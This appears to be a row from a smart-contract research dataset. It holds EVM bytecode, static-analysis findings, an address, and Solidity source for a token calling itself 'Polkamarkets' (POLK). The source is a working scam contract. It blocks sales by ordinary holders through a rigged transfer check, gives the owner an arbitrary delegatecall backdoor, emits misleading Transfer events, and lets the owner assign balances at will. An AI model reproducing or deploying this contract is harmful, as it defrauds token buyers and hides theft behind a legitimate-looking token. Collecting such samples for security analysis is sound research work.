fffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111fd57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611249613e76565b611251613e8a565b600080600061125e613e8a565b6040805180591061126c5750595b9080825280601f01601f1916602001820160405250945060009350600092505b602083101561134a578260080260020a886001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561133d5781858581518110151561130457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b828060010193505061128c565b600092505b602083101561140d578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515611400578185858151811015156113c757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b828060010193505061134f565b8360405180591061141b5750595b9080825280601f01601f19166020018201604052509050600092505b838310156114e357848381518110151561144d57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000281848151811015156114a657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050611437565b809550505050505092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631ad9f190836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115a657808201518184015260208101905061158b565b50505050905090810190601f1680156115d35780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15156115f157600080fd5b6102c65a03f1151561160257600080fd5b505050604051805190509050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166320bacfbd836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611723578082015181840152602081019050611708565b50505050905090810190601f1680156117505780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b151561176e57600080fd5b6102c65a03f1151561177f57600080fd5b505050604051805190509050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b493fe836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561186b578082015181840152602081019050611850565b50505050905090810190601f1680156118985780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15156118b657600080fd5b6102c65a03f115156118c757600080fd5b505050604051805190509050919050565b6118e0613e76565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663afa60487856000604051604001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506040805180830381600087803b151561197b57600080fd5b6102c65a03f1151561198c57600080fd5b50505060405180519060200180519050915091506119aa8282611241565b92505050919050565b6000826040518082805190602001908083835b6020831015156119eb57805182526020820191506020810190506020830392506119c6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff167f64039d4144848e6235f09f3026345570f208ead88943bde9d45c59bb9b1be0e760405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e3c50a03385856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015611b46578082015181840152602081019050611b2b565b50505050905090810190601f168015611b735780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611bac578082015181840152602081019050611b91565b50505050905090810190601f168015611bd95780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1515611bfa57600080fd5b6102c65a03f11515611c0b57600080fd5b50505060405180519050905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7857600080fd5b807fee243f878b7fc2f54e934ca33783d4395d42bc07612e2bd4b8e0e178639f7a2860405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633015394c826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1515611d3557600080fd5b6102c65a03f11515611d4657600080fd5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633410452a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611ddc57600080fd5b6102c65a03f11515611ded57600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3d3d448826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515611f1357600080fd5b6102c65a03f11515611f2457600080fd5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f6b55a936000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611fba57600080fd5b6102c65a03f11515611fcb57600080fd5b50505060405180519050905090565b6000826040518082805190602001908083835b6020831015156120125780518252602082019150602081019050602083039250611fed565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff167fdba501673f37fb50715ad05058d00cbcf437dfb28ae001931f0fe9834bdc43d560405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306ba29873385856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561216d578082015181840152602081019050612152565b50505050905090810190601f16801561219a5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156121d35780820151818401526020810190506121b8565b50505050905090810190601f1680156122005780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561222157600080fd5b6102c65a03f1151561223257600080fd5b50505060405180519050905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635dd284e36000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156122d457600080fd5b6102c65a03f115156122e557600080fd5b50505060405180519050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c4dc6e06000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561238457600080fd5b6102c65a03f1151561239557600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123ff57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61244a613e76565b612452613e8a565b600080600061245f613e8a565b602060405180591061246e5750595b9080825280601f01601f1916602001820160405250945060009350600092505b602083101561254c578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561253f5781858581518110151561250657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b828060010193505061248e565b8360405180591061255a5750595b9080825280601f01601f19166020018201604052509050600092505b8383101561262257848381518110151561258c57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000281848151811015156125e557fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050612576565b8095505050505050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126b257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639aaa575084846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561276c578082015181840152602081019050612751565b50505050905090810190601f1680156127995780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15156127b857600080fd5b6102c65a03f115156127c957600080fd5b50505060405180519050905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561283857600080fd5b612841826114f1565b905082811015151561285257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630d1118ce612898611f2a565b856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561291d57600080fd5b6102c65a03f1151561292e57600080fd5b505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663475a9fa985856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156129f557600080fd5b6102c65a03f11515612a0657600080fd5b505050612a168284600003612655565b5050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639e92dfd8836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ad2578082015181840152602081019050612ab7565b50505050905090810190601f168015612aff5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1515612b1d57600080fd5b6102c65a03f11515612b2e57600080fd5b505050604051805190509050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a08c090884846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612bfb578082015181840152602081019050612be0565b50505050905090810190601f168015612c285780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515612c4757600080fd5b6102c65a03f11515612c5857600080fd5b50505060405180519050905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cc557600080fd5b8215612ce357612cde84612cd7611f2a565b84846134f8565b612cf7565b612cf684612cef611f2a565b8484613822565b5b50505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612d2d613e76565b612d35613e76565b600080600080600080600080612d49613e76565b612d51613e76565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c58343ef8f600060405160c001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060c060405180830381600087803b1515612dea57600080fd5b6102c65a03f11515612dfb57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519050975097509750975097509750612e3887612442565b9150612e448686611241565b905087828286869c509c509c509c509c50505050505050505091939590929450565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806020830151905080915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d331aeb36000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515612f2f57600080fd5b6102c65a03f11515612f4057600080fd5b50505060405180519050905090565b6000612f59613e76565b612f61613e76565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612fbf57600080fd5b612fc7611d4c565b88101515612fd457600080fd5b612fdd88612d23565b945094509450945094508060ff166000141515612ff957600080fd5b81156130105761300b848689896134f8565b61301d565b61301c84868989613822565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327b9c257896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156130ad57600080fd5b6102c65a03f115156130be57600080fd5b505050877fbd1d617fa2a013ac57f8b20377694ff2d048f52aad9e1ea4127164dc5c1a065a60405160405180910390a25050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561315557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e3d6ce2b84846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561320f5780820151818401526020810190506131f4565b50505050905090810190601f16801561323c5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b151561325b57600080fd5b6102c65a03f1151561326c57600080fd5b50505060405180519050905092915050565b60008060008060208501519150604085015190508181935093505050915091565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ebe09a9384846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561335b578082015181840152602081019050613340565b50505050905090810190601f1680156133885780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15156133a757600080fd5b6102c65a03f115156133b857600080fd5b50505060405180519050905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561342557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc1c2180826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156134e157600080fd5b6102c65a03f115156134f257600080fd5b50505050565b6000806000806000613508613e76565b6135118a6117b6565b955060008611151561352257600080fd5b8588111561352e578597505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318a6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156135f357600080fd5b6102c65a03f1151561360457600080fd5b505050604051805190509450600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c3d55adc868a6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b15156136b157600080fd5b6102c65a03f115156136c257600080fd5b50505060405180519050935083881115156136dc57600080fd5b87925060008411156136f5576136f28885613c46565b92505b60008311151561370457600080fd5b86670de0b6b3a7640000840281151561371957fe5b0491506137268983613c5f565b61372f89613d4b565b156137405761373e8a83612655565b505b61374d8a896000036130f8565b50600084111561381657613808600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0747a9c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156137e857600080fd5b6102c65a03f115156137f957600080fd5b50505060405180519050612442565b905061381481856130f8565b505b50505050505050505050565b6000806000806000613832613e76565b86670de0b6b3a7640000890281151561384757fe5b049550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318a6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561390f57600080fd5b6102c65a03f1151561392057600080fd5b50505060405180519050945061393589613d4b565b15613946576139438a6114f1565b94505b8585101561396a57849550670de0b6b3a764000087870281151561396657fe5b0497505b6139748987613d8a565b61397d89613d4b565b156139915761398f8a87600003612655565b505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318a6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515613a5657600080fd5b6102c65a03f11515613a6757600080fd5b505050604051805190509350600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663914b7fd2858a6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b1515613b1457600080fd5b6102c65a03f11515613b2557600080fd5b5050506040518051905092508288111515613b3f57600080fd5b8791506000831115613b5857613b558884613c46565b91505b600082111515613b6757600080fd5b613b718a836130f8565b506000831115613c3a57613c2c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0747a9c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613c0c57600080fd5b6102c65a03f11515613c1d57600080fd5b50505060405180519050612442565b9050613c3881846130f8565b505b50505050505050505050565b6000828211151515613c5457fe5b818303905092915050565b80600014151515613c6f57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663475a9fa983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515613d3357600080fd5b6102c65a03f11515613d4457600080fd5b5050505050565b6000613d55611f2a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b80600014151515613d9a57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630d1118ce83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515613e5e57600080fd5b6102c65a03f11515613e6f57600080fd5b5050505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820ae2bb1361b46577f54b528f7c6f833ed861c7e2443368cf6d4eef56687fa8f460029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,749
0xdea97D9fF6286a009A9EF686005BA773f52b3a9E
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract PolkamarketsToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "Polkamarkets"; string public symbol = "POLK"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020